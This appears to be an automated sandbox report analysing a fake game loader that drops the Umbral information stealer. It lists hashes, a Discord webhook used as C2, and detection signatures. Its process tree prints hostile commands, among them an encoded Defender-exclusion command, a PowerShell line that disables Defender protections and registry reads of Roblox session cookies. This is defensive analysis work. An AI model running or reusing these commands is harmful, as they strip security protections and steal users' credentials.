Analysis

  • max time kernel
    47s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    20-01-2025 12:00

General

  • Target

    OblivionClient - Loader.exe

  • Size

    40.8MB

  • MD5

    2b44034e50129f5147fdf24ecff3c206

  • SHA1

    05ecb9594f74a0f567072fba224f07ebcfb524fa

  • SHA256

    be1584009cafff5d8f18674e6d2ea65085af54d372536c3dff3808c3bcdec576

  • SHA512

    212276778f9ad9f2ac08c5ff329880a068d1f0f1fc24474bab37e81e676fd4cf9bb0ae2ff68552997afb2e9ebd19c0e192526fa2c156ffb1e0d30dc168339cf5

  • SSDEEP

    786432:LyQZMFClCtlII/CnlxrH4T4Vu862kpkKOWck7UazNyF3S6ghQbhEhNLBsEzP:LyQZkVlII/CnlxrH4J862kpkq/pzoahj

Malware Config

Extracted

Family

umbral

C2

https://discord.com/api/webhooks/1329440770691956766/qs37sN2tGU-PNRiavv55Hvi1x0ymk-iw6Q12F2EL_j7u4_L0nijRqx5rIFVK9KPg7DEj

Signatures

  • Detect Umbral payload 2 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Umbral family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 4 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 34 IoCs
  • Suspicious use of SendNotifyMessage 32 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\OblivionClient - Loader.exe
    "C:\Users\Admin\AppData\Local\Temp\OblivionClient - Loader.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2304
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGQAcABzACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHMAbgBuACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHgAaABxACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGkAeABuACMAPgA="
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2824
    • C:\Users\Admin\AppData\Local\Temp\csrss.exe
      "C:\Users\Admin\AppData\Local\Temp\csrss.exe"
      2⤵
      • Executes dropped EXE
      PID:2972
    • C:\Users\Admin\AppData\Local\Temp\wininit.exe
      "C:\Users\Admin\AppData\Local\Temp\wininit.exe"
      2⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2284
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2552
      • C:\Windows\system32\attrib.exe
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\wininit.exe"
        3⤵
        • Views/modifies file attributes
        PID:2080
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\wininit.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1396
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2308
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3064
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2224
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" os get Caption
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2192
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" computersystem get totalphysicalmemory
        3⤵
          PID:2328
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" csproduct get uuid
          3⤵
            PID:900
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:580
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic" path win32_VideoController get name
            3⤵
            • Detects videocard installed
            PID:1556
          • C:\Windows\system32\cmd.exe
            "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\wininit.exe" && pause
            3⤵
            • System Network Configuration Discovery: Internet Connection Discovery
            PID:2304
            • C:\Windows\system32\PING.EXE
              ping localhost
              4⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Runs ping.exe
              PID:2532
        • C:\Users\Admin\AppData\Local\Temp\OblivionLoader.exe
          "C:\Users\Admin\AppData\Local\Temp\OblivionLoader.exe"
          2⤵
          • Executes dropped EXE
          PID:2896
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        1⤵
        • Enumerates system info in registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of WriteProcessMemory
        PID:2512
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7feea5e9758,0x7feea5e9768,0x7feea5e9778
          2⤵
            PID:1148
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1144 --field-trial-handle=1164,i,10117909292754028868,12661900146354515083,131072 /prefetch:2
            2⤵
              PID:1304
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1488 --field-trial-handle=1164,i,10117909292754028868,12661900146354515083,131072 /prefetch:8
              2⤵
                PID:916
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1632 --field-trial-handle=1164,i,10117909292754028868,12661900146354515083,131072 /prefetch:8
                2⤵
                  PID:1680
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2276 --field-trial-handle=1164,i,10117909292754028868,12661900146354515083,131072 /prefetch:1
                  2⤵
                    PID:608
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2296 --field-trial-handle=1164,i,10117909292754028868,12661900146354515083,131072 /prefetch:1
                    2⤵
                      PID:2096
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1232 --field-trial-handle=1164,i,10117909292754028868,12661900146354515083,131072 /prefetch:2
                      2⤵
                        PID:3040
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=3184 --field-trial-handle=1164,i,10117909292754028868,12661900146354515083,131072 /prefetch:1
                        2⤵
                          PID:2212
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3680 --field-trial-handle=1164,i,10117909292754028868,12661900146354515083,131072 /prefetch:8
                          2⤵
                            PID:2356
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --mojo-platform-channel-handle=3840 --field-trial-handle=1164,i,10117909292754028868,12661900146354515083,131072 /prefetch:1
                            2⤵
                              PID:2160
                          • C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
                            "C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
                            1⤵
                              PID:2072

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000005

                              Filesize

                              215KB

                              MD5

                              d474ec7f8d58a66420b6daa0893a4874

                              SHA1

                              4314642571493ba983748556d0e76ec6704da211

                              SHA256

                              553a19b6f44f125d9594c02231e4217e9d74d92b7065dc996d92f1e53f6bcb69

                              SHA512

                              344062d1be40db095abb7392b047b16f33ea3043158690cf66a2fa554aa2db79c4aa68de1308f1eddf6b9140b9ac5de70aad960b4e8e8b91f105213c4aace348

                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GPUCache\data_1

                              Filesize

                              264KB

                              MD5

                              f50f89a0a91564d0b8a211f8921aa7de

                              SHA1

                              112403a17dd69d5b9018b8cede023cb3b54eab7d

                              SHA256

                              b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec

                              SHA512

                              bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58

                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                              Filesize

                              5KB

                              MD5

                              219d838989fa9b91649f1cb781fbad30

                              SHA1

                              a2ccfb37cfc900fbfa6602a150b8679bdaae310e

                              SHA256

                              71ce917b182df33f0865fd3b30cc89dd81989cb27b1be06f31f2df63675ed013

                              SHA512

                              5800dd73658b509cb1ecdc7a1ec4f829245cdded348ce82b28307fee117817931820958895f6ca5a03ccafcfcd00fbe557b02e2aa3c537d457645f72665ff5d7

                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                              Filesize

                              5KB

                              MD5

                              86466ff309fc7671441d95cbc9c7a650

                              SHA1

                              c7c128df618e251dc1942c77cf5da869a4c7158e

                              SHA256

                              98d88a7556e48929cb4854b577f943f05d127de7c83409ae47171745ce0f4686

                              SHA512

                              3843065af3e55726151d78b3d755a9af3885d78fc25f033bcf71941a0e2fffae25c1560d4ad05f6ea3c9c5f3612e5310e63224180c891f86665fedb8728c6137

                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                              Filesize

                              4KB

                              MD5

                              930c20c6703c68397fdf91c1bb0d36b9

                              SHA1

                              54df554613f4c909f555eecbe0daa17a47cda87b

                              SHA256

                              f13759683aba03b92cee8a5ea0bdf40370c949160b84dd3e54de336d0ef342f2

                              SHA512

                              be903c45d07cace4b0856f25d2737be1436487112c349f38c32775395dce658db73bd3195287afabc272fb1140cac127b402e3691f3c5cca8445ea8781f977e5

                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\000007.dbtmp

                              Filesize

                              16B

                              MD5

                              18e723571b00fb1694a3bad6c78e4054

                              SHA1

                              afcc0ef32d46fe59e0483f9a3c891d3034d12f32

                              SHA256

                              8af72f43857550b01eab1019335772b367a17a9884a7a759fdf4fe6f272b90aa

                              SHA512

                              43bb0af7d3984012d2d67ca6b71f0201e5b948e6fe26a899641c4c6f066c59906d468ddf7f1df5ea5fa33c2bc5ea8219c0f2c82e0a5c365ad7581b898a8859e2

                            • C:\Users\Admin\AppData\Local\Temp\csrss.exe

                              Filesize

                              37.2MB

                              MD5

                              26a7e5a17d53f8709cfc9ebd583459a7

                              SHA1

                              b3090549b8ccf277612b568a4e5f6177ab5334c6

                              SHA256

                              b75157e6d824a7df8a05622d200c801f35ff53b6022fab575355d099220aa4d2

                              SHA512

                              0bf643adcfd5318d88a20785a31aca0219c21ae81c388405ee9f4adfe59cfcf88a436264c8d1724988c614fa945bd2d2a99ec151d1b9601b1c8a0bab9a333106

                            • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                              Filesize

                              7KB

                              MD5

                              adc5ead2f015aa5e8579a3b294ea1483

                              SHA1

                              68f4a2d864b6dbe4319aa4e8b1b05654ff4d475c

                              SHA256

                              0cf8d95fa2a5b6ce65efd0173238ec7b775d40c3c8b41476c444bd84f20604b6

                              SHA512

                              54dd780c859a17168e256a6ca4236ea796d002bbe92eba13da477227b21f51416b1b88553472984da3f3e93a3c54a946ea8e5fc0416f80d34a027187229ed049

                            • C:\Windows\system32\drivers\etc\hosts

                              Filesize

                              2KB

                              MD5

                              577f27e6d74bd8c5b7b0371f2b1e991c

                              SHA1

                              b334ccfe13792f82b698960cceaee2e690b85528

                              SHA256

                              0ade9ef91b5283eceb17614dd47eb450a5a2a371c410232552ad80af4fbfd5f9

                              SHA512

                              944b09b6b9d7c760b0c5add40efd9a25197c22e302c3c7e6d3f4837825ae9ee73e8438fc2c93e268da791f32deb70874799b8398ebae962a9fc51c980c7a5f5c

                            • \Users\Admin\AppData\Local\Temp\OblivionLoader.exe

                              Filesize

                              3.3MB

                              MD5

                              fd80fb2330bab1bf16540543585b392e

                              SHA1

                              7214d0bf0561b3d571c26f495a3e2eccf5038557

                              SHA256

                              07a727c8555a5f5ed8bbd72a8c3afde5e1570fe9d4b383009a71fafec692f567

                              SHA512

                              b13d6c668871849264a2419d1cc6c95d98e4aad93a38c72dc48b92f72f099577e3fdc69b648aa00b355c140e7d3cb53947c36c849453885aacd4a0731ce265f7

                            • \Users\Admin\AppData\Local\Temp\wininit.exe

                              Filesize

                              230KB

                              MD5

                              5e48a4e58fa2e9584c5a3b37dff630a3

                              SHA1

                              6f28ff8b9ca467eb80306abc46f63677bfcc0e56

                              SHA256

                              5088ab958c58c4cea16918464ae7a90d0a75a3f1d92acd5d52bdad80a95e61a8

                              SHA512

                              88c3ada9f8b6ae43c0e1736924f86081cb3358a8ec5db712acd7133588f158495533e8fa0fb83143c092942eabd0ffc79017ee7621400f9c263e925b42181bea

                            • memory/580-62-0x000000001B260000-0x000000001B542000-memory.dmp

                              Filesize

                              2.9MB

                            • memory/580-63-0x0000000002620000-0x0000000002628000-memory.dmp

                              Filesize

                              32KB

                            • memory/1396-25-0x0000000001ED0000-0x0000000001ED8000-memory.dmp

                              Filesize

                              32KB

                            • memory/1396-24-0x000000001B240000-0x000000001B522000-memory.dmp

                              Filesize

                              2.9MB

                            • memory/2284-19-0x0000000000C90000-0x0000000000CD0000-memory.dmp

                              Filesize

                              256KB

                            • memory/2308-32-0x0000000001EC0000-0x0000000001EC8000-memory.dmp

                              Filesize

                              32KB

                            • memory/2308-31-0x000000001B2E0000-0x000000001B5C2000-memory.dmp

                              Filesize

                              2.9MB